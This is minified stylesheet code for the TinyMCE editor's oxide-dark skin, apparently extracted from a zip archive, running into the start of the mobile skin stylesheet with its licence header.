ease-in,opacity 150ms ease-in}.tox .tox-notification p{font-size:14px;font-weight:400}.tox .tox-notification a{cursor:pointer;text-decoration:underline}.tox .tox-notification--in{opacity:1}.tox .tox-notification--success{background-color:#e4eeda;border-color:#d7e6c8;color:#fff}.tox .tox-notification--success p{color:#fff}.tox .tox-notification--success a{color:#547831}.tox .tox-notification--success svg{fill:#fff}.tox .tox-notification--error{background-color:#f8dede;border-color:#f2bfbf;color:#fff}.tox .tox-notification--error p{color:#fff}.tox .tox-notification--error a{color:#c00}.tox .tox-notification--error svg{fill:#fff}.tox .tox-notification--warn,.tox .tox-notification--warning{background-color:#fffaea;border-color:#ffe89d;color:#fff}.tox .tox-notification--warn p,.tox .tox-notification--warning p{color:#fff}.tox .tox-notification--warn a,.tox .tox-notification--warning a{color:#fff}.tox .tox-notification--warn svg,.tox .tox-notification--warning svg{fill:#fff}.tox .tox-notification--info{background-color:#d9edf7;border-color:#779ecb;color:#fff}.tox .tox-notification--info p{color:#fff}.tox .tox-notification--info a{color:#fff}.tox .tox-notification--info svg{fill:#fff}.tox .tox-notification__body{-ms-grid-row-align:center;align-self:center;color:#fff;font-size:14px;-ms-grid-column-span:1;grid-column-end:3;-ms-grid-column:2;grid-column-start:2;-ms-grid-row-span:1;grid-row-end:2;-ms-grid-row:1;grid-row-start:1;text-align:center;white-space:normal;word-break:break-all;word-break:break-word}.tox .tox-notification__body>*{margin:0}.tox .tox-notification__body>*+*{margin-top:1rem}.tox .tox-notification__icon{-ms-grid-row-align:center;align-self:center;-ms-grid-column-span:1;grid-column-end:2;-ms-grid-column:1;grid-column-start:1;-ms-grid-row-span:1;grid-row-end:2;-ms-grid-row:1;grid-row-start:1;-ms-grid-column-align:end;justify-self:end}.tox .tox-notification__icon svg{display:block}.tox .tox-notification__dismiss{-ms-grid-row-align:start;align-self:start;-ms-grid-column-span:1;grid-column-end:4;-ms-grid-column:3;grid-column-start:3;-ms-grid-row-span:1;grid-row-end:2;-ms-grid-row:1;grid-row-start:1;-ms-grid-column-align:end;justify-self:end}.tox .tox-notification .tox-progress-bar{-ms-grid-column-span:3;grid-column-end:4;-ms-grid-column:1;grid-column-start:1;-ms-grid-row-span:1;grid-row-end:3;-ms-grid-row:2;grid-row-start:2;-ms-grid-column-align:center;justify-self:center}.tox .tox-pop{display:inline-block;position:relative}.tox .tox-pop--resizing{transition:width .1s ease}.tox .tox-pop--resizing .tox-toolbar,.tox .tox-pop--resizing .tox-toolbar__group{flex-wrap:nowrap}.tox .tox-pop--transition{transition:.15s ease;transition-property:left,right,top,bottom}.tox .tox-pop--transition::after,.tox .tox-pop--transition::before{transition:all .15s,visibility 0s,opacity 75ms ease 75ms}.tox .tox-pop__dialog{background-color:#222f3e;border:1px solid #000;border-radius:3px;box-shadow:0 1px 3px rgba(0,0,0,.15);min-width:0;overflow:hidden}.tox .tox-pop__dialog>:not(.tox-toolbar){margin:4px 4px 4px 8px}.tox .tox-pop__dialog .tox-toolbar{background-color:transparent;margin-bottom:-1px}.tox .tox-pop::after,.tox .tox-pop::before{border-style:solid;content:'';display:block;height:0;opacity:1;position:absolute;width:0}.tox .tox-pop.tox-pop--inset::after,.tox .tox-pop.tox-pop--inset::before{opacity:0;transition:all 0s .15s,visibility 0s,opacity 75ms ease}.tox .tox-pop.tox-pop--bottom::after,.tox .tox-pop.tox-pop--bottom::before{left:50%;top:100%}.tox .tox-pop.tox-pop--bottom::after{border-color:#222f3e transparent transparent transparent;border-width:8px;margin-left:-8px;margin-top:-1px}.tox .tox-pop.tox-pop--bottom::before{border-color:#000 transparent transparent transparent;border-width:9px;margin-left:-9px}.tox .tox-pop.tox-pop--top::after,.tox .tox-pop.tox-pop--top::before{left:50%;top:0;transform:translateY(-100%)}.tox .tox-pop.tox-pop--top::after{border-color:transparent transparent #222f3e transparent;border-width:8px;margin-left:-8px;margin-top:1px}.tox .tox-pop.tox-pop--top::before{border-color:transparent transparent #000 transparent;border-width:9px;margin-left:-9px}.tox .tox-pop.tox-pop--left::after,.tox .tox-pop.tox-pop--left::before{left:0;top:calc(50% - 1px);transform:translateY(-50%)}.tox .tox-pop.tox-pop--left::after{border-color:transparent #222f3e transparent transparent;border-width:8px;margin-left:-15px}.tox .tox-pop.tox-pop--left::before{border-color:transparent #000 transparent transparent;border-width:10px;margin-left:-19px}.tox .tox-pop.tox-pop--right::after,.tox .tox-pop.tox-pop--right::before{left:100%;top:calc(50% + 1px);transform:translateY(-50%)}.tox .tox-pop.tox-pop--right::after{border-color:transparent transparent transparent #222f3e;border-width:8px;margin-left:-1px}.tox .tox-pop.tox-pop--right::before{border-color:transparent transparent transparent #000;border-width:10px;margin-left:-1px}.tox .tox-pop.tox-pop--align-left::after,.tox .tox-pop.tox-pop--align-left::before{left:20px}.tox .tox-pop.tox-pop--align-right::after,.tox .tox-pop.tox-pop--align-right::before{left:calc(100% - 20px)}.tox .tox-sidebar-wrap{display:flex;flex-direction:row;flex-grow:1;-ms-flex-preferred-size:0;min-height:0}.tox .tox-sidebar{background-color:#222f3e;display:flex;flex-direction:row;justify-content:flex-end}.tox .tox-sidebar__slider{display:flex;overflow:hidden}.tox .tox-sidebar__pane-container{display:flex}.tox .tox-sidebar__pane{display:flex}.tox .tox-sidebar--sliding-closed{opacity:0}.tox .tox-sidebar--sliding-open{opacity:1}.tox .tox-sidebar--sliding-growing,.tox .tox-sidebar--sliding-shrinking{transition:width .5s ease,opacity .5s ease}.tox .tox-selector{background-color:#4099ff;border-color:#4099ff;border-style:solid;border-width:1px;box-sizing:border-box;display:inline-block;height:10px;position:absolute;width:10px}.tox.tox-platform-touch .tox-selector{height:12px;width:12px}.tox .tox-slider{align-items:center;display:flex;flex:1;-ms-flex-preferred-size:auto;height:24px;justify-content:center;position:relative}.tox .tox-slider__rail{background-color:transparent;border:1px solid #000;border-radius:3px;height:10px;min-width:120px;width:100%}.tox .tox-slider__handle{background-color:#207ab7;border:2px solid #185d8c;border-radius:3px;box-shadow:none;height:24px;left:50%;position:absolute;top:50%;transform:translateX(-50%) translateY(-50%);width:14px}.tox .tox-source-code{overflow:auto}.tox .tox-spinner{display:flex}.tox .tox-spinner>div{animation:tam-bouncing-dots 1.5s ease-in-out 0s infinite both;background-color:rgba(255,255,255,.5);border-radius:100%;height:8px;width:8px}.tox .tox-spinner>div:nth-child(1){animation-delay:-.32s}.tox .tox-spinner>div:nth-child(2){animation-delay:-.16s}@keyframes tam-bouncing-dots{0%,100%,80%{transform:scale(0)}40%{transform:scale(1)}}.tox:not([dir=rtl]) .tox-spinner>div:not(:first-child){margin-left:4px}.tox[dir=rtl] .tox-spinner>div:not(:first-child){margin-right:4px}.tox .tox-statusbar{align-items:center;background-color:#222f3e;border-top:1px solid #000;color:#fff;display:flex;flex:0 0 auto;font-size:12px;font-weight:400;height:18px;overflow:hidden;padding:0 8px;position:relative;text-transform:uppercase}.tox .tox-statusbar__text-container{display:flex;flex:1 1 auto;justify-content:flex-end;overflow:hidden}.tox .tox-statusbar__path{display:flex;flex:1 1 auto;margin-right:auto;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.tox .tox-statusbar__path>*{display:inline;white-space:nowrap}.tox .tox-statusbar__wordcount{flex:0 0 auto;margin-left:1ch}.tox .tox-statusbar a,.tox .tox-statusbar__path-item,.tox .tox-statusbar__wordcount{color:#fff;text-decoration:none}.tox .tox-statusbar a:focus:not(:disabled):not([aria-disabled=true]),.tox .tox-statusbar a:hover:not(:disabled):not([aria-disabled=true]),.tox .tox-statusbar__path-item:focus:not(:disabled):not([aria-disabled=true]),.tox .tox-statusbar__path-item:hover:not(:disabled):not([aria-disabled=true]),.tox .tox-statusbar__wordcount:focus:not(:disabled):not([aria-disabled=true]),.tox .tox-statusbar__wordcount:hover:not(:disabled):not([aria-disabled=true]){cursor:pointer;text-decoration:underline}.tox .tox-statusbar__resize-handle{align-items:flex-end;align-self:stretch;cursor:nwse-resize;display:flex;flex:0 0 auto;justify-content:flex-end;margin-left:auto;margin-right:-8px;padding-left:1ch}.tox .tox-statusbar__resize-handle svg{display:block;fill:#fff}.tox .tox-statusbar__resize-handle:focus svg{background-color:#4a5562;border-radius:1px;box-shadow:0 0 0 2px #4a5562}.tox:not([dir=rtl]) .tox-statusbar__path>*{margin-right:4px}.tox:not([dir=rtl]) .tox-statusbar__branding{margin-left:1ch}.tox[dir=rtl] .tox-statusbar{flex-direction:row-reverse}.tox[dir=rtl] .tox-statusbar__path>*{margin-left:4px}.tox .tox-throbber{z-index:1299}.tox .tox-throbber__busy-spinner{align-items:center;background-color:rgba(34,47,62,.6);bottom:0;display:flex;justify-content:center;left:0;position:absolute;right:0;top:0}.tox .tox-tbtn{align-items:center;background:0 0;border:0;border-radius:3px;box-shadow:none;color:#fff;display:flex;flex:0 0 auto;font-size:14px;font-style:normal;font-weight:400;height:34px;justify-content:center;margin:2px 0 3px 0;outline:0;overflow:hidden;padding:0;text-transform:none;width:34px}.tox .tox-tbtn svg{display:block;fill:#fff}.tox .tox-tbtn.tox-tbtn-more{padding-left:5px;padding-right:5px;width:inherit}.tox .tox-tbtn:focus{background:#4a5562;border:0;box-shadow:none}.tox .tox-tbtn:hover{background:#4a5562;border:0;box-shadow:none;color:#fff}.tox .tox-tbtn:hover svg{fill:#fff}.tox .tox-tbtn:active{background:#757d87;border:0;box-shadow:none;color:#fff}.tox .tox-tbtn:active svg{fill:#fff}.tox .tox-tbtn--disabled,.tox .tox-tbtn--disabled:hover,.tox .tox-tbtn:disabled,.tox .tox-tbtn:disabled:hover{background:0 0;border:0;box-shadow:none;color:rgba(255,255,255,.5);cursor:not-allowed}.tox .tox-tbtn--disabled svg,.tox .tox-tbtn--disabled:hover svg,.tox .tox-tbtn:disabled svg,.tox .tox-tbtn:disabled:hover svg{fill:rgba(255,255,255,.5)}.tox .tox-tbtn--enabled,.tox .tox-tbtn--enabled:hover{background:#757d87;border:0;box-shadow:none;color:#fff}.tox .tox-tbtn--enabled:hover>*,.tox .tox-tbtn--enabled>*{transform:none}.tox .tox-tbtn--enabled svg,.tox .tox-tbtn--enabled:hover svg{fill:#fff}.tox .tox-tbtn:focus:not(.tox-tbtn--disabled){color:#fff}.tox .tox-tbtn:focus:not(.tox-tbtn--disabled) svg{fill:#fff}.tox .tox-tbtn:active>*{transform:none}.tox .tox-tbtn--md{height:51px;width:51px}.tox .tox-tbtn--lg{flex-direction:column;height:68px;width:68px}.tox .tox-tbtn--return{-ms-grid-row-align:stretch;align-self:stretch;height:unset;width:16px}.tox .tox-tbtn--labeled{padding:0 4px;width:unset}.tox .tox-tbtn__vlabel{display:block;font-size:10px;font-weight:400;letter-spacing:-.025em;margin-bottom:4px;white-space:nowrap}.tox .tox-tbtn--select{margin:2px 0 3px 0;padding:0 4px;width:auto}.tox .tox-tbtn__select-label{cursor:default;font-weight:400;margin:0 4px}.tox .tox-tbtn__select-chevron{align-items:center;display:flex;justify-content:center;width:16px}.tox .tox-tbtn__select-chevron svg{fill:rgba(255,255,255,.5)}.tox .tox-tbtn--bespoke .tox-tbtn__select-label{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:7em}.tox .tox-split-button{border:0;border-radius:3px;box-sizing:border-box;display:flex;margin:2px 0 3px 0;overflow:hidden}.tox .tox-split-button:hover{box-shadow:0 0 0 1px #4a5562 inset}.tox .tox-split-button:focus{background:#4a5562;box-shadow:none;color:#fff}.tox .tox-split-button>*{border-radius:0}.tox .tox-split-button__chevron{width:16px}.tox .tox-split-button__chevron svg{fill:rgba(255,255,255,.5)}.tox .tox-split-button .tox-tbtn{margin:0}.tox.tox-platform-touch .tox-split-button .tox-tbtn:first-child{width:30px}.tox.tox-platform-touch .tox-split-button__chevron{width:20px}.tox .tox-split-button.tox-tbtn--disabled .tox-tbtn:focus,.tox .tox-split-button.tox-tbtn--disabled .tox-tbtn:hover,.tox .tox-split-button.tox-tbtn--disabled:focus,.tox .tox-split-button.tox-tbtn--disabled:hover{background:0 0;box-shadow:none;color:rgba(255,255,255,.5)}.tox .tox-toolbar-overlord{background-color:#222f3e}.tox .tox-toolbar,.tox .tox-toolbar__overflow,.tox .tox-toolbar__primary{background:url("data:image/svg+xml;charset=utf8,%3Csvg height='39px' viewBox='0 0 40 39px' width='40' xmlns='http://www.w3.org/2000/svg'%3E%3Crect x='0' y='38px' width='100' height='1' fill='%23000000'/%3E%3C/svg%3E") left 0 top 0 #222f3e;background-color:#222f3e;display:flex;flex:0 0 auto;flex-shrink:0;flex-wrap:wrap;padding:0 0}.tox .tox-toolbar__overflow.tox-toolbar__overflow--closed{height:0;opacity:0;padding-bottom:0;padding-top:0;visibility:hidden}.tox .tox-toolbar__overflow--growing{transition:height .3s ease,opacity .2s linear .1s}.tox .tox-toolbar__overflow--shrinking{transition:opacity .3s ease,height .2s linear .1s,visibility 0s linear .3s}.tox .tox-menubar+.tox-toolbar,.tox .tox-menubar+.tox-toolbar-overlord .tox-toolbar__primary{border-top:1px solid #000;margin-top:-1px}.tox .tox-toolbar--scrolling{flex-wrap:nowrap;overflow-x:auto}.tox .tox-pop .tox-toolbar{border-width:0}.tox .tox-toolbar--no-divider{background-image:none}.tox-tinymce:not(.tox-tinymce-inline) .tox-editor-header:not(:first-child) .tox-toolbar-overlord:first-child .tox-toolbar__primary,.tox-tinymce:not(.tox-tinymce-inline) .tox-editor-header:not(:first-child) .tox-toolbar:first-child{border-top:1px solid #000}.tox.tox-tinymce-aux .tox-toolbar__overflow{background-color:#222f3e;border:1px solid #000;border-radius:3px;box-shadow:0 1px 3px rgba(0,0,0,.15)}.tox .tox-toolbar__group{align-items:center;display:flex;flex-wrap:wrap;margin:0 0;padding:0 4px 0 4px}.tox .tox-toolbar__group--pull-right{margin-left:auto}.tox .tox-toolbar--scrolling .tox-toolbar__group{flex-shrink:0;flex-wrap:nowrap}.tox:not([dir=rtl]) .tox-toolbar__group:not(:last-of-type){border-right:1px solid #000}.tox[dir=rtl] .tox-toolbar__group:not(:last-of-type){border-left:1px solid #000}.tox .tox-tooltip{display:inline-block;padding:8px;position:relative}.tox .tox-tooltip__body{background-color:#3d546f;border-radius:3px;box-shadow:0 2px 4px rgba(42,55,70,.3);color:rgba(255,255,255,.75);font-size:14px;font-style:normal;font-weight:400;padding:4px 8px;text-transform:none}.tox .tox-tooltip__arrow{position:absolute}.tox .tox-tooltip--down .tox-tooltip__arrow{border-left:8px solid transparent;border-right:8px solid transparent;border-top:8px solid #3d546f;bottom:0;left:50%;position:absolute;transform:translateX(-50%)}.tox .tox-tooltip--up .tox-tooltip__arrow{border-bottom:8px solid #3d546f;border-left:8px solid transparent;border-right:8px solid transparent;left:50%;position:absolute;top:0;transform:translateX(-50%)}.tox .tox-tooltip--right .tox-tooltip__arrow{border-bottom:8px solid transparent;border-left:8px solid #3d546f;border-top:8px solid transparent;position:absolute;right:0;top:50%;transform:translateY(-50%)}.tox .tox-tooltip--left .tox-tooltip__arrow{border-bottom:8px solid transparent;border-right:8px solid #3d546f;border-top:8px solid transparent;left:0;position:absolute;top:50%;transform:translateY(-50%)}.tox .tox-well{border:1px solid #000;border-radius:3px;padding:8px;width:100%}.tox .tox-well>:first-child{margin-top:0}.tox .tox-well>:last-child{margin-bottom:0}.tox .tox-well>:only-child{margin:0}.tox .tox-custom-editor{border:1px solid #000;border-radius:3px;display:flex;flex:1;position:relative}.tox .tox-dialog-loading::before{background-color:rgba(0,0,0,.5);content:"";height:100%;position:absolute;width:100%;z-index:1000}.tox .tox-tab{cursor:pointer}.tox .tox-dialog__content-js{display:flex;flex:1;-ms-flex-preferred-size:auto}.tox .tox-dialog__body-content .tox-collection{display:flex;flex:1;-ms-flex-preferred-size:auto}.tox .tox-image-tools-edit-panel{height:60px}.tox .tox-image-tools__sidebar{height:60px}
PK
h�\��1�RR:program/js/tinymce/skins/ui/oxide-dark/skin.mobile.min.cssnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 */
.tinymce-mobile-outer-container{all:initial;display:block}.tinymce-mobile-outer-container *{border:0;box-sizing:initial;cursor:inherit;float:none;line-height:1;margin:0;outline:0;padding:0;-webkit-tap-highlight-color:transparent;text-shadow:none;white-space:nowrap}.tinymce-mobile-icon-arrow-back::before{content:"\e5cd"}.tinymce-mobile-icon-image::before{content:"\e412"}.tinymce-mobile-icon-cancel-circle::before{content:"\e5c9"}.tinymce-mobile-icon-full-dot::before{content:"\e061"}.tinymce-mobile-icon-align-center::before{content:"\e234"}.tinymce-mobile-icon-align-left::before{content:"\e236"}.tinymce-mobile-icon-align-right::before{content:"\e237"}.tinymce-mobile-icon-bold::before{content:"\e238"}.tinymce-mobile-icon-italic::before{content:"\e23f"}.tinymce-mobile-icon-unordered-list::before{content:"\e241"}.tinymce-mobile-icon-ordered-list::before{content:"\e242"}.tinymce-mobile-icon-font-size::before{content:"\e245"}.tinymce-mobile-icon-underline::before{content:"\e249"}.tinymce-mobile-icon-link::before{content:"\e157"}.tinymce-mobile-icon-unlink::before{content:"\eca2"}.tinymce-mobile-icon-color::before{content:"\e891"}.tinymce-mobile-icon-previous::before{content:"\e314"}.tinymce-mobile-icon-next::before{content:"\e315"}.tinymce-mobile-icon-large-font::before,.tinymce-mobile-icon-style-formats::before{content:"\e264"}.tinymce-mobile-icon-undo::before{content:"\e166"}.tinymce-mobile-icon-redo::before{content:"\e15a"}.tinymce-mobile-icon-removeformat::before{content:"\e239"}.tinymce-mobile-icon-small-font::before{content:"\e906"}.tinymce-mobile-format-matches::after,.tinymce-mobile-icon-readonly-back::before{content:"\e5ca"}.tinymce-mobile-icon-small-heading::before{content:"small"}.tinymce-mobile-icon-large-heading::before{content:"large"}.tinymce-mobile-icon-large-heading::before,.tinymce-mobile-icon-small-heading::before{font-family:sans-serif;font-size:80%}.tinymce-mobile-mask-edit-icon::before{content:"\e254"}.tinymce-mobile-icon-back::before{content:"\e5c4"}.tinymce-mobile-icon-heading::before{content:"Headings";font-family:sans-serif;font-size:80%;font-weight:700}.tinymce-mobile-icon-h1::before{content:"H1";font-weight:700}.tinymce-mobile-icon-h2::before{content:"H2";font-weight:700}.tinymce-mobile-icon-h3::before{content:"H3";font-weight:700}.tinymce-mobile-outer-container .tinymce-mobile-disabled-mask{align-items:center;display:flex;justify-content:center;background:rgba(51,51,51,.5);height:100%;position:absolute;top:0;width:100%}.tinymce-mobile-outer-container .tinymce-mobile-disabled-mask .tinymce-mobile-content-container{align-items:center;border-radius:50%;display:flex;flex-direction:column;font-family:sans-serif;font-size:1em;justify-content:space-between}.tinymce-mobile-outer-container .tinymce-mobile-disabled-mask .tinymce-mobile-content-container .mixin-menu-item{align-items:center;display:flex;justify-content:center;border-radius:50%;height:2.1em;width:2.1em}.tinymce-mobile-outer-container .tinymce-mobile-disabled-mask .tinymce-mobile-content-container .tinymce-mobile-content-tap-section{align-items:center;display:flex;justify-content:center;flex-direction:column;font-size:1em}@media only screen and (min-device-width:700px){.tinymce-mobile-outer-container .tinymce-mobile-disabled-mask .tinymce-mobile-content-container .tinymce-mobile-content-tap-section{font-size:1.2em}}.tinymce-mobile-outer-container .tinymce-mobile-disabled-mask .tinymce-mobile-content-container .tinymce-mobile-content-tap-section .tinymce-mobile-mask-tap-icon{align-items:center;display:flex;justify-content:center;border-radius:50%;height:2.1em;width:2.1em;background-color:#fff;color:#207ab7}.tinymce-mobile-outer-container .tinymce-mobile-disabled-mask .tinymce-mobile-content-container .tinymce-mobile-content-tap-section .tinymce-mobile-mask-tap-icon::before{content:"\e900";font-family:tinymce-mobile,sans-serif}.tinymce-mobile-outer-container .tinymce-mobile-disabled-mask .tinymce-mobile-content-container .tinymce-mobile-content-tap-section:not(.tinymce-mobile-mask-tap-icon-selected) .tinymce-mobile-mask-tap-icon{z-index:2}.tinymce-mobile-android-container.tinymce-mobile-android-maximized{background:#fff;border:none;bottom:0;display:flex;flex-direction:column;left:0;position:fixed;right:0;top:0}.tinymce-mobile-android-container:not(.tinymce-mobile-android-maximized){position:relative}.tinymce-mobile-android-container .tinymce-mobile-editor-socket{display:flex;flex-grow:1}.tinymce-mobile-android-container .tinymce-mobile-editor-socket iframe{display:flex!important;flex-grow:1;height:auto!important}.tinymce-mobile-android-scroll-reload{overflow:hidden}:not(.tinymce-mobile-readonly-mode)>.tinymce-mobile-android-selection-context-toolbar{margin-top:23px}.tinymce-mobile-toolstrip{background:#fff;display:flex;flex:0 0 auto;z-index:1}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar{align-items:center;background-color:#fff;border-bottom:1px solid #ccc;display:flex;flex:1;height:2.5em;width:100%}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar:not(.tinymce-mobile-context-toolbar) .tinymce-mobile-toolbar-group{align-items:center;display:flex;height:100%;flex-shrink:1}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar:not(.tinymce-mobile-context-toolbar) .tinymce-mobile-toolbar-group>div{align-items:center;display:flex;height:100%;flex:1}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar:not(.tinymce-mobile-context-toolbar) .tinymce-mobile-toolbar-group.tinymce-mobile-exit-container{background:#f44336}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar:not(.tinymce-mobile-context-toolbar) .tinymce-mobile-toolbar-group.tinymce-mobile-toolbar-scrollable-group{flex-grow:1}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar:not(.tinymce-mobile-context-toolbar) .tinymce-mobile-toolbar-group .tinymce-mobile-toolbar-group-item{padding-left:.5em;padding-right:.5em}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar:not(.tinymce-mobile-context-toolbar) .tinymce-mobile-toolbar-group .tinymce-mobile-toolbar-group-item.tinymce-mobile-toolbar-button{align-items:center;display:flex;height:80%;margin-left:2px;margin-right:2px}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar:not(.tinymce-mobile-context-toolbar) .tinymce-mobile-toolbar-group .tinymce-mobile-toolbar-group-item.tinymce-mobile-toolbar-button.tinymce-mobile-toolbar-button-selected{background:#c8cbcf;color:#ccc}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar:not(.tinymce-mobile-context-toolbar) .tinymce-mobile-toolbar-group:first-of-type,.tinymce-mobile-toolstrip .tinymce-mobile-toolbar:not(.tinymce-mobile-context-toolbar) .tinymce-mobile-toolbar-group:last-of-type{background:#207ab7;color:#eceff1}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group{align-items:center;display:flex;height:100%;flex:1;padding-bottom:.4em;padding-top:.4em}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serialised-dialog{display:flex;min-height:1.5em;overflow:hidden;padding-left:0;padding-right:0;position:relative;width:100%}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serialised-dialog .tinymce-mobile-serialised-dialog-chain{display:flex;height:100%;transition:left cubic-bezier(.4,0,1,1) .15s;width:100%}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serialised-dialog .tinymce-mobile-serialised-dialog-chain .tinymce-mobile-serialised-dialog-screen{display:flex;flex:0 0 auto;justify-content:space-between;width:100%}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serialised-dialog .tinymce-mobile-serialised-dialog-chain .tinymce-mobile-serialised-dialog-screen input{font-family:Sans-serif}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serialised-dialog .tinymce-mobile-serialised-dialog-chain .tinymce-mobile-serialised-dialog-screen .tinymce-mobile-input-container{display:flex;flex-grow:1;position:relative}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serialised-dialog .tinymce-mobile-serialised-dialog-chain .tinymce-mobile-serialised-dialog-screen .tinymce-mobile-input-container .tinymce-mobile-input-container-x{-ms-grid-row-align:center;align-self:center;background:inherit;border:none;border-radius:50%;color:#888;font-size:.6em;font-weight:700;height:100%;padding-right:2px;position:absolute;right:0}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serialised-dialog .tinymce-mobile-serialised-dialog-chain .tinymce-mobile-serialised-dialog-screen .tinymce-mobile-input-container.tinymce-mobile-input-container-empty .tinymce-mobile-input-container-x{display:none}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serialised-dialog .tinymce-mobile-serialised-dialog-chain .tinymce-mobile-serialised-dialog-screen .tinymce-mobile-icon-next,.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serialised-dialog .tinymce-mobile-serialised-dialog-chain .tinymce-mobile-serialised-dialog-screen .tinymce-mobile-icon-previous{align-items:center;display:flex}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serialised-dialog .tinymce-mobile-serialised-dialog-chain .tinymce-mobile-serialised-dialog-screen .tinymce-mobile-icon-next::before,.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serialised-dialog .tinymce-mobile-serialised-dialog-chain .tinymce-mobile-serialised-dialog-screen .tinymce-mobile-icon-previous::before{align-items:center;display:flex;font-weight:700;height:100%;padding-left:.5em;padding-right:.5em}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serialised-dialog .tinymce-mobile-serialised-dialog-chain .tinymce-mobile-serialised-dialog-screen .tinymce-mobile-icon-next.tinymce-mobile-toolbar-navigation-disabled::before,.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-serialised-dialog .tinymce-mobile-serialised-dialog-chain .tinymce-mobile-serialised-dialog-screen .tinymce-mobile-icon-previous.tinymce-mobile-toolbar-navigation-disabled::before{visibility:hidden}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-dot-item{color:#ccc;font-size:10px;line-height:10px;margin:0 2px;padding-top:3px}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-dot-item.tinymce-mobile-dot-active{color:#c8cbcf}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-icon-large-font::before,.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-icon-large-heading::before{margin-left:.5em;margin-right:.9em}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-icon-small-font::before,.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-icon-small-heading::before{margin-left:.9em;margin-right:.5em}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-slider{display:flex;flex:1;margin-left:0;margin-right:0;padding:.28em 0;position:relative}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-slider .tinymce-mobile-slider-size-container{align-items:center;display:flex;flex-grow:1;height:100%}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-slider .tinymce-mobile-slider-size-container .tinymce-mobile-slider-size-line{background:#ccc;display:flex;flex:1;height:.2em;margin-bottom:.3em;margin-top:.3em}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-slider.tinymce-mobile-hue-slider-container{padding-left:2em;padding-right:2em}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-slider.tinymce-mobile-hue-slider-container .tinymce-mobile-slider-gradient-container{align-items:center;display:flex;flex-grow:1;height:100%}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-slider.tinymce-mobile-hue-slider-container .tinymce-mobile-slider-gradient-container .tinymce-mobile-slider-gradient{background:linear-gradient(to right,red 0,#feff00 17%,#0f0 33%,#00feff 50%,#00f 67%,#ff00fe 83%,red 100%);display:flex;flex:1;height:.2em;margin-bottom:.3em;margin-top:.3em}.tinymce-mobile-toolstrip .tinymce-mobile-toolbar.tinymce-mobile-context-toolbar .tinymce-mobile-toolbar-group .tinymce-mobile-slider.tinymce-mobile-hue-slider-container 